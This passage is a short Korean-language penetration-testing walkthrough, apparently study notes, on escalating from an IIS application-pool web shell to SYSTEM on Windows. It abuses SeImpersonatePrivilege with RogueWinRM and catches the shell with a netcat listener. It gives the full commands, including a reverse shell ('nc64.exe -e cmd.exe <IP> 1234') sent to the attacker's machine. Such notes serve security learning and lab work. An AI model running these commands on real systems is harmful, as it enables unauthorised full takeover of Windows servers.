- `SeImpersonatePrivilege` 또는 `SeAssignPrimaryTokenPrivilege`를 악용하여 SYSTEM 권한을 획득하는 방법.
- 여기서는 `RogueWinRM`이라는 도구를 활용한 방법을 사용해 SYSTEM 쉘을 얻을 것이다.
# 1. 공격 조건 정리
우리는 이미 IIS 웹 서버에 웹 쉘을 업로드 해 IIS Application Pool 계정 (ex: `iisapppool\defaultapppool`)의 권한으로 명령을 실행할 수 있다고 하자.
# 2. 해당 계정이 SeImpersonate/SeAssignPrimaryToken 권한을 가지고 있는지 확인
웹쉘을 통해 다음 명령을 실행
```powershell
whoami /priv
```
출력에서 다음이 보이면 준비 완료
```powershell
SeImpersonatePrivilege Disabled
SeAssignPrimaryTokenPrivilege Disabled
```
- `Disabled`로 되어있어도 필요할 때 자동 활성화됨.
- 현재 실행 중인 프로세스에서는 '아직 이 권한을 사용하고 있지 않다'는 의미.
- 하지만 '필요한 순간에 `Enable`할 수 있는 자격이 있다'라는 의미로 받아들이면 된다.
# 3. 공격 시나리오 이해
- Windows의 `BITS` 서비스는 시작될 때 SYSTEM 권한으로 포트 5985 (`WinRM 포트`)에 자동 연결.
- `BITS`는 Background Intelligent Transfer Service
- 실행 파일: `svchost.exe`로 여러 서비스 중 하나로 실행됨.
- 공격자는 포트 5985에서 가짜 WinRM 서비스를 띄우고 SYSTEM 연결을 가로채 그 토큰을 "가로채서" 명령을 실행할 수 있음.
- 이걸 가능하게 하는 도구가 바로 `RogueWinRM.exe`
# 4. 공격자의 머신에서 리버스 쉘 리스너 실행
```bash
nc -lvnp 1234
```
# 5. 웹쉘을 통해 RogueWinRM 실행
```powershell
C:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe <IP> 1234"
```
- `-p`: 실행할 바이너리 경로. 여기서는 `nc64.exe`
- `-a`: netcat에 넘길 인자 (`-e cmd.exe <IP> 1234`)
# 6. 칼리 리스너에서 SYSTEM 쉘 획득